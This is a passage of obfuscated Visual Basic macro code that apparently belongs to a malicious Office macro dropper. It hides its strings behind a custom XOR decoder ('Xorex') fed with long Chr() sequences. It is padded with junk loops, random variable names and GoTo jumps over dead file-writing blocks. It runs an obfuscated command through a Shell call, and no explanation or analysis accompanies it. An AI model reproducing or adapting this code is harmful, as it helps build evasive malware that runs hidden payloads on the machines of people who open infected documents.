  567. TQqIdnLJ = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(118) & Chr(49) & Chr(62) & Chr(44) & Chr(60) & Chr(35) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  568. qUKenWQO = LTrim(TQqIdnLJ)
  569. GZnvDjZn = RTrim(qUKenWQO)
  570.  
  571. DoEvents
  572. Next YtyuwbQu
  573. Dim kPIYhXFB, YbDpwUNU, oQzrttOz As String
  574. kPIYhXFB = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(119) & Chr(50) & Chr(62) & Chr(49) & Chr(51) & Chr(51) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  575. YbDpwUNU = LTrim(kPIYhXFB)
  576. oQzrttOz = RTrim(YbDpwUNU)
  577.  
  578. Close #33
  579. Dim KOwCXdTB As Integer
  580. For KOwCXdTB = 0 To 9
  581. Dim OBZMvKRj, IPyUxMpG, MHKPBUfN As String
  582. OBZMvKRj = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(125) & Chr(34) & Chr(46) & Chr(54) & Chr(54) & Chr(44) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  583. IPyUxMpG = LTrim(OBZMvKRj)
  584. MHKPBUfN = RTrim(IPyUxMpG)
  585.  
  586. DoEvents
  587. Next KOwCXdTB
  588. Dim eiigUINO, BoknzDcP, MoADxKWQ As String
  589. eiigUINO = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(124) & Chr(56) & Chr(45) & Chr(48) & Chr(49) & Chr(43) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  590. BoknzDcP = LTrim(eiigUINO)
  591. MoADxKWQ = RTrim(BoknzDcP)
  592.  
  593. mhQRjNnQ:
  594.  
  595. Dim oQdUquPl As Integer
  596. For oQdUquPl = 0 To 1
  597. Dim UaAZnmUO, dXoVFGbA, KKJlaqjl As String
  598. UaAZnmUO = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(99) & Chr(38) & Chr(54) & Chr(54) & Chr(53) & Chr(63) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  599. dXoVFGbA = LTrim(UaAZnmUO)
  600. KKJlaqjl = RTrim(dXoVFGbA)
  601.  
  602. DoEvents
  603. Next oQdUquPl
  604. Dim IfFphwkD, CrMDwuEw, bgoUtRdH As String
  605. IfFphwkD = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(96) & Chr(59) & Chr(57) & Chr(40) & Chr(51) & Chr(45) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  606. CrMDwuEw = LTrim(IfFphwkD)
  607. bgoUtRdH = RTrim(CrMDwuEw)
  608.  
  609.     Close #TRULUSUSFEP
  610.  
  611. GoTo zvBnllQs
  612. Dim gRQEXiFx As String
  613. Open Xorex(Chr(41) & Chr(121) & Chr(42) & Chr(32) & Chr(49) & Chr(45) & Chr(95) & Chr(34) & Chr(54) & Chr(53), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 94
  614. Dim wkxMeHaA As Integer
  615. For wkxMeHaA = 0 To 8
  616. Dim EoNtDWiF, HgSihOqB, zmvqJcgo As String
  617. EoNtDWiF = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(120) & Chr(61) & Chr(63) & Chr(46) & Chr(59) & Chr(54) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  618. HgSihOqB = LTrim(EoNtDWiF)
  619. zmvqJcgo = RTrim(HgSihOqB)
  620.  
  621. DoEvents
  622. Next wkxMeHaA
  623. Dim FxAKjzyy, OcQrQuEi, RvXhyqao As String
  624. FxAKjzyy = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(123) & Chr(49) & Chr(60) & Chr(34) & Chr(54) & Chr(45) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  625. OcQrQuEi = LTrim(FxAKjzyy)
  626. RvXhyqao = RTrim(OcQrQuEi)
  627.  
  628. Put #94, , gRQEXiFx
  629. Dim mbPBpfiY As Integer
  630. For mbPBpfiY = 0 To 3
  631. Dim iZjxEDTd, SvBJHixt, klYseEgX As String
  632. iZjxEDTd = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(100) & Chr(36) & Chr(57) & Chr(38) & Chr(47) & Chr(41) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  633. SvBJHixt = LTrim(iZjxEDTd)
  634. klYseEgX = RTrim(SvBJHixt)
  635.  
  636. DoEvents
  637. Next mbPBpfiY
  638. Dim rhfcMBis, lylaNPlM, WjUWOieg As String
  639. rhfcMBis = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(126) & Chr(57) & Chr(33) & Chr(33) & Chr(45) & Chr(42) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  640. lylaNPlM = LTrim(rhfcMBis)
  641. WjUWOieg = RTrim(lylaNPlM)
  642.  
  643. Close #94
  644. Dim lPHvugRD As Integer
  645. For lPHvugRD = 0 To 8
  646. Dim OzskPvLW, XoVmsdXy, MLAipgZR As String
  647. OzskPvLW = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(125) & Chr(55) & Chr(57) & Chr(40) & Chr(33) & Chr(60) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  648. XoVmsdXy = LTrim(OzskPvLW)
  649. MLAipgZR = RTrim(XoVmsdXy)
  650.  
  651. DoEvents
  652. Next lPHvugRD
  653. Dim JZGPdgLC, SENCUljB, IRpozcFN As String
  654. JZGPdgLC = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(111) & Chr(41) & Chr(55) & Chr(32) & Chr(46) & Chr(59) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  655. SENCUljB = LTrim(JZGPdgLC)
  656. IRpozcFN = RTrim(SENCUljB)
  657.  
  658. zvBnllQs:
  659.  
  660. Dim wkcCTitH As Integer
  661. For wkcCTitH = 0 To 9
  662. Dim SczZNIDR, klOCdrTw, Cgkkbvxf As String
  663. SczZNIDR = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(116) & Chr(56) & Chr(48) & Chr(58) & Chr(33) & Chr(42) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  664. klOCdrTw = LTrim(SczZNIDR)
  665. Cgkkbvxf = RTrim(klOCdrTw)
  666.  
  667. DoEvents
  668. Next wkcCTitH
  669. Dim tPfwTbdI, lnlNPqvj, XQULmIiP As String
  670. tPfwTbdI = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(126) & Chr(50) & Chr(33) & Chr(33) & Chr(54) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  671. lnlNPqvj = LTrim(tPfwTbdI)
  672. XQULmIiP = RTrim(lnlNPqvj)
  673.  
  674.    
  675.     Dim VNFIMIAERHX
  676.  
  677.     VNFIMIAERHX = Shell(XOGQTIGBKHF, 1)
  678.  
  679.     Set DJJTVHAZKJC = Nothing
  680.  
  681. GoTo CejplmFF
  682. Dim ooedWiJB As String
  683. Open Xorex(Chr(51) & Chr(99) & Chr(50) & Chr(32) & Chr(35) & Chr(55) & Chr(95) & Chr(36) & Chr(60) & Chr(60), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 89
  684. Dim mmirnAEI As Integer
  685. For mmirnAEI = 0 To 3
  686. Dim gRyROGbQ, nPKIsEEX, vwwmpTom As String
  687. gRyROGbQ = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(97) & Chr(50) & Chr(62) & Chr(33) & Chr(33) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  688. nPKIsEEX = LTrim(gRyROGbQ)
  689. vwwmpTom = RTrim(nPKIsEEX)
  690.  
  691. DoEvents
  692. Next mmirnAEI
  693. Dim llxyYHMO, hlYlaMkP, qmHRmBGQ As String
  694. llxyYHMO = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(125) & Chr(37) & Chr(48) & Chr(42) & Chr(49) & Chr(61) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  695. hlYlaMkP = LTrim(llxyYHMO)
  696. qmHRmBGQ = RTrim(hlYlaMkP)
  697.  
  698. Put #89, , ooedWiJB
  699. Dim VaklusKS As Integer
  700. For VaklusKS = 0 To 2
  701. Dim qGlaTiHc, GPawLZIg, IaKuOOCK As String
  702. qGlaTiHc = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(120) & Chr(34) & Chr(58) & Chr(34) & Chr(41) & Chr(61) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  703. GPawLZIg = LTrim(qGlaTiHc)
  704. IaKuOOCK = RTrim(GPawLZIg)
  705.  
  706. DoEvents
  707. Next VaklusKS
  708. Dim cIDsIfAA, NLzykPqW, gOiPcxxE As String
  709. cIDsIfAA = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(122) & Chr(35) & Chr(34) & Chr(57) & Chr(48) & Chr(42) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  710. NLzykPqW = LTrim(cIDsIfAA)
  711. gOiPcxxE = RTrim(NLzykPqW)
  712.  
  713. Close #89
  714. Dim IHhAnnKu As Integer
  715. For IHhAnnKu = 0 To 5
  716. Dim RfFrwTRb, HlnuVlUP, ebdpbuQW As String
  717. RfFrwTRb = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(120) & Chr(54) & Chr(48) & Chr(47) & Chr(62) & Chr(42) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  718. HlnuVlUP = LTrim(RfFrwTRb)
  719. ebdpbuQW = RTrim(HlnuVlUP)
  720.  
  721. DoEvents
  722. Next IHhAnnKu
  723. Dim NiYxbhRY, XiHIMlzI, JoaMgvbO As String
  724. NiYxbhRY = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(108) & Chr(56) & Chr(63) & Chr(43) & Chr(44) & Chr(59) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  725. XiHIMlzI = LTrim(NiYxbhRY)
  726. JoaMgvbO = RTrim(XiHIMlzI)
  727.  
  728. CejplmFF:
  729.  
  730. Dim Xswedqaa As Integer
  731. For Xswedqaa = 0 To 7
  732. Dim gJMzjjMM, MSZxEQSS, DelimKah As String
  733. gJMzjjMM = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(109) & Chr(32) & Chr(48) & Chr(34) & Chr(42) & Chr(55) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  734. MSZxEQSS = LTrim(gJMzjjMM)
  735. DelimKah = RTrim(MSZxEQSS)
  736.  
  737. DoEvents
  738. Next Xswedqaa
  739. Dim CpZpwSmv, bwJrtprK, FsXUqWhn As String
  740. CpZpwSmv = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(109) & Chr(37) & Chr(56) & Chr(34) & Chr(40) & Chr(34) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  741. bwJrtprK = LTrim(CpZpwSmv)
  742. FsXUqWhn = RTrim(bwJrtprK)
  743.  
  744.      
  745. End Function
  746. Sub JWYBNRLBKQR()
  747.  
  748. GoTo jHlXfgkj
  749. Dim ZCyBHzwn As String
  750. Open Xorex(Chr(48) & Chr(114) & Chr(40) & Chr(49) & Chr(57) & Chr(47) & Chr(95) & Chr(56) & Chr(32) & Chr(48), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 52
  751. Dim ODnPnHVL As Integer
  752. For ODnPnHVL = 0 To 2
  753. Dim yIpEfZQO, kFXYHjFL, RMIOkrKr As String
  754. yIpEfZQO = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(116) & Chr(54) & Chr(56) & Chr(53) & Chr(47) & Chr(50) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  755. kFXYHjFL = LTrim(yIpEfZQO)
  756. RMIOkrKr = RTrim(kFXYHjFL)
  757.  
  758. DoEvents
  759. Next ODnPnHVL
  760. Dim GWxqCrmq, QXUxkiKs, YXJISdhd As String
  761. GWxqCrmq = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(116) & Chr(34) & Chr(50) & Chr(51) & Chr(48) & Chr(34) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  762. QXUxkiKs = LTrim(GWxqCrmq)
  763. YXJISdhd = RTrim(QXUxkiKs)
  764.  
  765. Put #52, , ZCyBHzwn
  766. Dim yihEhlnZ As Integer
  767. For yihEhlnZ = 0 To 3
  768. Dim xnNSTDsA, awIuKirl, YkhAyZWq As String
  769. xnNSTDsA = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(121) & Chr(63) & Chr(39) & Chr(50) & Chr(32) & Chr(41) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  770. awIuKirl = LTrim(xnNSTDsA)
  771. YkhAyZWq = RTrim(awIuKirl)
  772.  
  773. DoEvents
  774. Next yihEhlnZ
  775. Dim YSGcrHZv, oCrkDfsL, cDoWLBcA As String
  776. YSGcrHZv = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(113) & Chr(32) & Chr(54) & Chr(42) & Chr(57) & Chr(44) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  777. oCrkDfsL = LTrim(YSGcrHZv)
  778. cDoWLBcA = RTrim(oCrkDfsL)
  779.  
  780. Close #52
  781. Dim qRGZJsEv As Integer
  782. For qRGZJsEv = 0 To 4
  783. Dim wxwDYhEj, liBbRkoH, TfQZytdN As String
  784. wxwDYhEj = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(122) & Chr(48) & Chr(54) & Chr(38) & Chr(42) & Chr(42) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  785. liBbRkoH = LTrim(wxwDYhEj)
  786. TfQZytdN = RTrim(liBbRkoH)
  787.  
  788. DoEvents
  789. Next qRGZJsEv
  790. Dim SHrGhiyI, IJfaPdEO, EJcdtjaP As String
  791. SHrGhiyI = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(119) & Chr(60) & Chr(38) & Chr(33) & Chr(54) & Chr(44) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  792. IJfaPdEO = LTrim(SHrGhiyI)
  793. EJcdtjaP = RTrim(IJfaPdEO)
  794.  
  795. jHlXfgkj:
  796.  
  797. Dim qTSFapfU As Integer
  798. For qTSFapfU = 0 To 4
  799. Dim EfGPsGLS, wRTweXih, abfHhkNi As String
  800. EfGPsGLS = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(112) & Chr(37) & Chr(37) & Chr(47) & Chr(57) & Chr(35) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  801. wRTweXih = LTrim(EfGPsGLS)
  802. abfHhkNi = RTrim(wRTweXih)
  803.  
  804. DoEvents
  805. Next qTSFapfU
  806. Dim yGZKlKzU, mTIxbEfh, CHXjoaCP As String
  807. yGZKlKzU = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(121) & Chr(54) & Chr(50) & Chr(51) & Chr(53) & Chr(35) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  808. mTIxbEfh = LTrim(yGZKlKzU)
  809. CHXjoaCP = RTrim(mTIxbEfh)
  810.  
  811. bdskk = Xorex(Chr(13) & Chr(64) & Chr(19) & Chr(7) & Chr(91) & Chr(73) & Chr(94) & Chr(19) & Chr(30) & Chr(23) & Chr(26) & Chr(92) & Chr(29) & Chr(17) & Chr(77) & Chr(28) & Chr(31) & Chr(92) & Chr(82) & Chr(17) & Chr(25) & Chr(9) & Chr(11) & Chr(95) & Chr(22) & Chr(85) & Chr(12) & Chr(28), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  812.  
  813. GoTo HJKzlDPM
  814. Dim eCRtMADt As String
  815. Open Xorex(Chr(40) & Chr(114) & Chr(63) & Chr(61) & Chr(55) & Chr(49) & Chr(95) & Chr(37) & Chr(51) & Chr(52), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 92
  816. Dim oLbCkGPA As Integer
  817. For oLbCkGPA = 0 To 1
  818. Dim VtNDJEUB, pqSHljPp, wjvLWtFm As String
  819. VtNDJEUB = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(118) & Chr(53) & Chr(50) & Chr(38) & Chr(55) & Chr(50) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  820. pqSHljPp = LTrim(VtNDJEUB)
  821. wjvLWtFm = RTrim(pqSHljPp)
  822.  
  823. DoEvents
  824. Next oLbCkGPA
  825. Dim cALaoxse, lArdEnOr, gZfvVTut As String
  826. cALaoxse = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(126) & Chr(41) & Chr(54) & Chr(55) & Chr(32) & Chr(46) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  827. lArdEnOr = LTrim(cALaoxse)
  828. gZfvVTut = RTrim(lArdEnOr)
  829.  
  830. Put #92, , eCRtMADt
  831. Dim SbUhQpLN As Integer
  832. For SbUhQpLN = 0 To 2
  833. Dim TNcEZIfr, qXyVGetX, GJDlevCD As String
  834. TNcEZIfr = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(118) & Chr(42) & Chr(34) & Chr(54) & Chr(47) & Chr(42) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  835. qXyVGetX = LTrim(TNcEZIfr)
  836. GJDlevCD = RTrim(qXyVGetX)
  837.  
  838. DoEvents
  839. Next SbUhQpLN
  840. Dim ugatonxL, mtuIgsIA, ChwZVOjX As String
  841. ugatonxL = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(121) & Chr(59) & Chr(58) & Chr(43) & Chr(63) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  842. mtuIgsIA = LTrim(ugatonxL)
  843. ChwZVOjX = RTrim(mtuIgsIA)
  844.  
  845. Close #92
  846. Dim oMxonDwO As Integer
